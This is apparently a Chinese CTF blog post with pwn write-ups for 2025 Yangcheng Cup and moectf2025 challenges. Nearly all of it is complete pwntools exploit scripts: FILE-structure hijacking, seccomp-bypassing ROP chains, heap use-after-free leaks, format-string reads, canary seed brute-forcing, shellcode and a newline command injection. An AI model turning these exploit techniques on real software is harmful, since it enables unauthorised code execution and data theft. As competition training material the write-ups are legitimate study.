 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *main
 b *main+93
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


ru(b"stdout:\n")
pause()
payload=flat(
 0xfabad1887,
 0,0,0,
 b"\x48"
)

sl(payload)
leak=ru(b"stder")[-72:]
libc_addr=u64(leak[:8])-0x204644
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

stderr_addr=libc_addr+libc.symbols['_IO_2_1_stderr_']
VIO_TEXT(f"stderr_addr: {hex(stderr_addr)}")

fake_file=flat(
 p64(0x3b68733b40404040), # b"aa;sh\x00"
 0,0,0,0,
 1,
 0,0,0,0,0,0,0,
 libc_addr+libc.symbols['system'],
 0,0,0,
 stderr_addr-0x10,0,
 stderr_addr,stderr_addr-0x48,
 0,0,0,0,0,0,
 libc_addr+libc.symbols["_IO_wfile_jumps"],
)
se(fake_file)
ia()

house of cat打法的就先不贴了

2025羊城杯-stack & malloc

Tue, 14 Oct 2025 00:30:00 +0000

stack

保护和沙箱

保护，程序运行在2.35-0ubuntu3.11

沙箱

禁用了execve execveat open close等

解题

剥去了符号

main函数中有两个函数

第一部分设置了沙箱。这个前置函数设置了随机数，3或者4,然后计算magic_number的地址并根据得到的possible_main来取出对应main

和设置好真正的buf到分配的堆空间区域

发现禁用了open execve和execveat，read规则检测只能从stdin(0)获取，检查一个参数的高32位和低32位都是0否则就会直接kill,因此要注意控制

以及一个读入的函数

将0x55...8028置了0，后面我们再去调read看看

通过实际缓冲区找到rbp，进行覆盖

先用这个函数去拿到地址来获取elf基地址

我们想要通过调用puts函数来拿到一个libc中的地址用于泄漏，随后尝试打openat read write或者openat read sendfile

但是程序提供的函数不支持我们正常完成libc相关函数的地址泄漏，而在调试的时候可以发现在第一个函数中可以通过rand函数去设置参数，我们便可以用puts来泄漏了

而一开始由于远程无法打通，所以尝试ogw，结果发现远程还是不能通，后来想到patchelf可能会影响程序的加载空间（拉高地址）所以改小了写入/flag的地址才通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148


import argparse
from operator import pos
import sys
from elftools.construct import lib
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "23356"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 c
 c
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recv(0x6).ljust(0x8, b"\x00"))


# pause()
# ru(b"Good luck!\n")
sa(b"Good luck!\n", b'\x01'*0x108+p8(0x5f)) # magic


magic_line = ru(b":",)
magic_number = int(rl(keepends=False), 10)
log.info(VIO_TEXT(f"magic_number is {hex(magic_number)}"))

possible_main1 = magic_number // 3
possible_main2 = magic_number // 4

if possible_main1 < 0x600000000000 and possible_main1 > 0x500000000000:
 main = possible_main1
else:
 main = possible_main2

log.info(VIO_TEXT(f"possible main:{hex(possible_main1)}"))
log.info(VIO_TEXT(f"possible main:{hex(possible_main2)}"))

cover_main = main & 0xffff

elf_base = int(main)-0x16b0
log.info(VIO_TEXT(f"two bytes of main:{hex(cover_main)}"))

ret_stdout = elf_base+0x12c9
syscall = elf_base+0x134f
read_addr = elf_base+0x161f
rand_addr = elf_base+elf.sym['rand']
puts_addr = elf_base+elf.sym['puts']

log.info(VIO_TEXT(f"elf_base:{hex(elf_base)}"))
log.info(VIO_TEXT(f"syscall:{hex(syscall)}"))

sa(b"Good luck!\n", b'\x01'*0x108 + p64(rand_addr) + p64(puts_addr) + p64(read_addr))


libc_addr = (get_64()-0x21a200) & ~ 0xff
print(hex(libc_addr))

real_syscall = libc_addr+0x91316
rax = libc_addr+libc.search(asm("pop rax;ret")).__next__()
rdi = libc_addr+libc.search(asm("pop rdi;ret")).__next__()
rsi = libc_addr+libc.search(asm("pop rsi;ret")).__next__()
rcx = libc_addr+libc.search(asm("pop rcx;ret")).__next__()
rdx_rbx = libc_addr+0x904a9
readable_addr = elf_base+0x4800
log.info(VIO_TEXT(f"syscall:{hex(real_syscall)}"))
log.info(VIO_TEXT(f"readable_addr:{hex(readable_addr)}"))

payload = flat(
 b'a'*0x110,
 rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x8, 0, syscall, 0, # read
 rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0, # openat
 rax, 0x28, rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc_addr + # sendfile
 libc.sym['sendfile'],
)

# ogw 尝试读取目录
# payload = flat(
# b'a'*0x110,
# rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x30, 0, syscall, 0,
# rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,
# rax, 217, rdi, 0x3, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0, # getdents64
# rax, 1, rdi, 1, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0
# )

sa(b"Good luck!\n", payload)


sleep(1)
se(b"/flag")

ia()

malloc

沙箱保护

沙箱禁的execve execveat

解题

增删改查,glibc2.35与上题环境一致

freelist的检查，会读取chunk size，更新freelist，并检测是否double free

但是只检查了前14个节点，可能可以对后面的double free?

有一个修改的malloc

会从Free list和top chunk分配，当然我们不想要用top chunk，所以看到free list的

1
2
3
4
5
6


if ( qword_4040[v2 / 16] ) { // 对应size的freelist不为空
 v5 = qword_4040[v4]; // 获取freelist第一个chunk
 qword_4040[v4] = *(_QWORD *)(v5 + 16); // 更新freelist
 *(_BYTE *)v5 = 1; // 标记chunk为已使用
 return v5 + 16; // 返回用户数据区地址
}

我们构造合适的chunk可以触发到uaf

uaf hook泄漏libc后打出environ来泄漏栈地址，在合适的地方写入flag后orw即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145


import argparse
from inspect import ClassFoundException
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "27416"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def create(idx, size):
 sla(b"5:exit\n", b"1")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())


def free(idx):
 sla(b"5:exit\n", b"2")
 sla(b"Index", str(idx).encode())


def edit(idx, size, content):
 sla(b"5:exit\n", b"3")
 sla(b"Index", str(idx).encode())
 sla(b"size", str(size).encode())
 se(content)


def show(idx):
 sla(b"5:exit\n", b"4")
 sla(b"Index", str(idx).encode())


# 准备堆块UAF
create(0, 0x10)
create(1, 0x70)
create(2, 0x70)
create(0x10, 0x10) # 隔top chunk

# 双向链表UAF
free(2)
free(1)

# libc leak
show(1)
elf_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
elf.address = u64(elf_leak)-0x52a0
log.success(CLEAR_TEXT(f"elf_address:{hex(elf.address)}"))

payload = p64(0)*3+p64(0x80)+p64(elf.address+0x5200+0x1010)
edit(0, len(payload), payload)

# 重新分配
create(3, 0x70)
create(3, 0x70)

edit(3, 8, p64(elf.got["puts"]))
show(4)
libc_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym["puts"]

edit(3, 8, p64(libc.sym["environ"])) # environ leak stack
show(4)
stack_leak = ru(b"\x7f")[-6:].ljust(8, b"\x00")
edit_stack = u64(stack_leak) - 0x140
log.success(CLEAR_TEXT(f"libc base address: {hex(libc.address)}"))
log.success(CLEAR_TEXT(f"stack edit address: {hex(edit_stack)}"))

# 写入flag路径和ROP链
create(4, 0x70) # 4号堆块用于存储数据
# 修改目标区域存储flag
edit(3, 8, p64(elf.address + 0x62a0))
edit(4, 0x8, p64(0x100)) # 设置大小
edit(3, 0x10, p64(edit_stack) + b"/flag\x00\x00\x00")

pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
pop_rdx_rbx = libc.address + 0x904a9
flag_addr = elf.address+0x6228
orw_payload = flat(
 pop_rdi, flag_addr, pop_rsi, 0, libc.sym['open'],
 pop_rdi, 3, pop_rsi, elf.address+0x40c0 +
 0x500, pop_rdx_rbx, 0x50, 0, libc.sym['read'],
 pop_rdi, 1, libc.sym['write']
)

edit(4, len(orw_payload), orw_payload)

ia()

‍

moectf2025-pwn_re

Fri, 10 Oct 2025 10:45:00 +0000

pwn

0

连接远程就行

1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from pwn import * # 导入 pwntools。


context(
 arch="amd64",
 os="linux",
) # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。

# io = process("./pwn") # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = remote("localhost", 38631) # 与在线环境交互。

io.recvuntil(b"hint.")
num = io.recv(8)
log.info(CLEAR_TEXT(f"num={num}")) # 接收提示信息。
num = u64(num.ljust(8, b"\x00")) # 将接收到的字符串转换为整数。

log.success(CLEAR_TEXT(f"num={num:#x}"))

io.sendline(str(num).encode()) # 发送整数。

io.interactive() # 手动接收 flag。

2 text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import * # 导入 pwntools。

context(arch="amd64", os="linux", log_level="debug") # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。


io = process("./pwn") # 在本地运行程序。
gdb.attach(io) # 启动 GDB
# io = remote("localhost", 39857) # 与在线环境交互。

io.recvuntil(b"stack?\n")
io.sendline(b"24")
io.send(b"A" * 16 + p64(0x4011BB))

io.interactive() # 手动接收 flag。

2 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 45523)
# gdb.attach(
# io,gdbscript='''
# ''')


def se(data):
 return io.send(data)

def sla(delim, data):
 return io.sendlineafter(delim, data)



sla('!', '4')
shellcode = asm(shellcraft.sh())
se(shellcode)

io.interactive()

# 这题就是很简单的可打shellcode,可以手动也可以直接用pwntools自带的

3 认识libc

不知道丢哪去了，反正ret2libc

boom-boom_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
 char s[124]; // [rsp+0h] [rbp-90h] BYREF
 int v5; // [rsp+7Ch] [rbp-14h]
 int v6; // [rsp+8Ch] [rbp-4h]

 init(argc, argv, envp);
 puts("Welcome to Secret Message Book!");
 puts("Do you want to brute-force this system? (y/n)");
 fgets(&brute_choice, 8, stdin);
 v6 = 0;
 if ( brute_choice == 'y' || brute_choice == 89 )
 {
 v6 = 1;
 canary = (int)random() % 114514;
 v5 = canary;
 puts("waiting...");
 sleep(1u);
 puts("boom!");
 puts("Brute-force mode enabled! Security on.");
 }
 else
 {
 puts("Normal mode. No overflow allowed.");
 }
 printf("Enter your message: ");
 if ( v6 )
 gets(s);
 else
 fgets(s, 128, stdin);
 if ( v6 && v5 != canary )
 {
 puts("Security check failed!");
 exit(1);
 }
 puts("Message received.");
 return 0;
}

伪随机种子生成canary,调用libc库生成种子爆破，估计revenge是因为原本的非预期

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


from ctypes import CDLL, cdll
import time
from pwn import *

context(log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]


libc = cdll.LoadLibrary('libc.so.6')


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


def WARN_TEXT(x, code=33):
 return f"\x1b[{code}m{x}\x1b[0m"


now = int(time.time())

canaries = []
for i in [now, now-1, now+1]:
 libc.srandom(i)
 val = libc.random() % 114514
 print(f"[+] seed = {i} -> canary= {val}")
 canaries.append(val)


io = remote("localhost", 43477)
# io = process("./pwn")
# gdb.attach(io, gdbscript='''
# b *0x40136c
# b *(main+287)
# ''')

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

ru(b"Do you want to brute-force this system? (y/n)\n")
sl(b'y')

ru(b'Enter your message: ')

buf = b'b'*124

for canary in canaries:
 payload = buf
 payload = (payload+p32(canary)).ljust(0x90, b'\x00')+p64(0)
 payload += p64(0x40127b)

 sl(payload)
 try:
 ia()
 except:
 print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

fmt

没什么好说的，经典格式化字符串，读一写一

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *
from struct import pack

filename = "./pwn"
libc = "./patch/libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
 return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript=""""
# """)
io = process(filename)
# gdb.attach(
# io,
# gdbscript='''b *puts'''
# )
libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 40167)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


def fine():
 return io.interactive()


payload = b"%7$s%10$p"
# payload = b"%10$p"
sla(b"name?\n", payload)
# s2 = int(io.recvuntil(b"I buried", drop=True).split(b",")[-1], 16)
# log.success(VIO_TEXT(f"first number: {hex(s2)}"))
ru(b"you,")

s = io.recv()
s1 = s[:5].decode()
log.success(VIO_TEXT(f"first number: {s1}"))

s2 = s[s.find(b"0x"):].split()[0] # 切分

s2 = int(s2, 16)
s2 = pack("<Q", s2).rstrip(b"\x00").decode(errors="ignore") # 小端序解析
log.success(VIO_TEXT(f"second number: {s2}"))

sl(s2)
io.recv()

sl(s1)

fine()

# moectf{THe-b3G1nNlng_OF_f0rm@T5cc02f05c}

inject

伪造了一个服务器，可以用指令拼接绕过进行RCE，由于没有过滤\n所以先给一个地址x再给指令，使用\n拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from pwn import *

remote_addr = "localhost"
remote_port = "40757"

io = remote(remote_addr, remote_port)

sla = io.sendlineafter


def ping_host():
 sla(b"Your choice: ", "4")


ping_host()
payload = b"x\ncat flag\n"
sla(b"Enter host to ping: ", payload)

io.interactive()

randomlock

跟boom类似，爆破种子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from pwn import *
import ctypes

filename = "./pwn"
# libc = "./libc.so.6"
libc = ctypes.CDLL("libc.so.6")

context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


# io = gdb.debug(
# "./pwn",gdbscript='''
# ''')
io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("", )


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)



possible_seeds = [s for s in range(1, 101, 2)]


def test_seed(seed):
 libc.srand(seed)
 return [libc.rand() % 10000 for _ in range(10)]


def try_once():
 for seed in possible_seeds:
 random_sequence = test_seed(seed)
 ru(b"me?\n")

 flag = True
 for num in random_sequence:
 sl(str(num).encode())
 reveal = ru(b">")
 if b"lose" in reveal.lower():
 flag = False
 break
 if flag:
 log.success(CLEAR_TEXT(f"Found seed: {
 seed},sequence:{random_sequence}"))
 io.interactive()
 else:
 io.clode()


try_once()
# moectf{SUch-a_FAKE_cHA0t1C-3vIIaa0ae332}

str_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


int __fastcall main(int argc, const char **argv, const char **envp)
{
 char dest[24]; // [rsp+0h] [rbp-20h] BYREF
 size_t n; // [rsp+18h] [rbp-8h] BYREF

 init(argc, argv, envp);
 puts("What can u say?");
 __isoc99_scanf("%255s", str);
 puts("So,what size is it?");
 __isoc99_scanf("%zu", &n);
 len = strlen(str);
 if ( (unsigned __int64)len > 0x18 )
 {
 puts("Oh,too much.");
 exit(1);
 }
 if ( !strncmp(str, "meow", 4uLL) )
 memcpy(dest, str, n);
 else
 strncpy(dest, str, n);
 puts("You're right.");
 return 0;
}

这里对len判断到\0结束计数，提前导入\0strlen就不会判断进去，而strncmp判断前四个字节为meow才会进行比较，使用memcpy拷贝（高版本早就不这么写了不过）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62


from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# # libc = ELF(libc)
# gdb.attach(io, gdbscript='''
# b *0x4013A2
# ''')
elf = ELF(filename)
# io = remote("localhost", 46233)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def ia():
 return io.interactive()


backdoor = 0x40123E

payload = b'meow\x00'
payload += b'a'*(24-len(payload))
payload += b'B'*8
payload += p64(0x40101a) # ret对齐栈
payload += p64(backdoor)

sla(b"u say?", payload)

sla(b"size is it?", b"48")

ia()

# moectf{maybe_THls_IS-c-5trlNG34c189c4}

syslock

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


int __fastcall main(int argc, const char **argv, const char **envp)
{
 init(argc, argv, envp);
 write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
 write(1, "choose mode\n", 0xCuLL);
 i = input();
 if ( i > 4 )
 lose();
 write(1, "Input your password\n", 0x14uLL);
 read(0, (char *)&s + i, 0xCuLL);
 if ( i != 59 )
 lose();
 cheat();
 return 0;
}

cheat():

1
2
3
4
5
6
7


ssize_t cheat()
{
 _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

 write(1, "Developer Mode.\n", 0x10uLL);
 return read(0, buf, 0x100uLL);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


.text:000000000040123C ; void gadget()
.text:000000000040123C public gadget
.text:000000000040123C gadget proc near：
.text:000000000040123C ; __unwind {
.text:000000000040123C endbr64
.text:0000000000401240 pop rdi
.text:0000000000401241 pop rsi
.text:0000000000401242 pop rdx
.text:0000000000401243 retn
.text:0000000000401243 gadget endp ; sp-analysis failed

s和i都在bss段上，仅相差0x20个字节，一开始要让i小于0进行绕过lose分支，而下一次我们就要让i=59才能，因此在read中直接独到&i的位置，即s-32->i,然后写成59
cheat分支中我们可以绕过read()进行rop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# gdb.attach(io, gdbscript='''
# b *40127f
# ''')
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 39153)


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


def sla(delim, data):
 return io.sendlineafter(delim, data)


def rc(num):
 return io.recv(num)


def rl():
 return io.recvline()


def ru(delims):
 return io.recvuntil(delims)


def ia():
 return io.interactive()


sla(b"choose mode\n", b"-32")


addr_s = 0x4040A0
payload = p32(59)
io.recv()
se(payload.ljust(0xC, b"a"))

pop_rax_ret = 0x401244
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
read_plt = elf.plt['read']

payload2 = flat(
 b'A' * (64+8),
 # 调用 read(0, addr_s, 8)来写入"/bin/sh\x00"
 pop_rdi_rsi_rdx_ret, 0, addr_s, 8,
 read_plt,

 pop_rdi_rsi_rdx_ret, addr_s, 0, 0,
 pop_rax_ret, 0x3b,
 syscall_addr
)
io.recv()
se(payload2)
se(b'/bin/sh\x00')

ia()

# moectf{DONT_3nc@PSUL@tE-mY_5Ysc@I132fcf89}

xdulaker

这题出题人一开始没给环境导致一堆人没patch直接远程打不通
首先要patchelf

1
2
3
4
5


gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')

如果没有patchelf,在高版本的解释器中会对残留数据进行截断，那么我们输入的xdulaker始终无法通过检测
然后通过opt的地址可以泄漏pie_base

因为栈在空间计算可以得到photo和laker的两个栈相差是可以5字节对齐的，所以我们直接尝试xdulaker*(x)就可以通过检测,最后跳过backdoor压栈(+1)然后ret2text即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 46203)
gdb.attach(
 io, gdbscript='''
 b *laker
 b *photo
 ''')


def se(data):
 return io.send(data)


def sa(delim, data):
 return io.sendafter(delim, data)


def sl(data):
 return io.sendline(data)


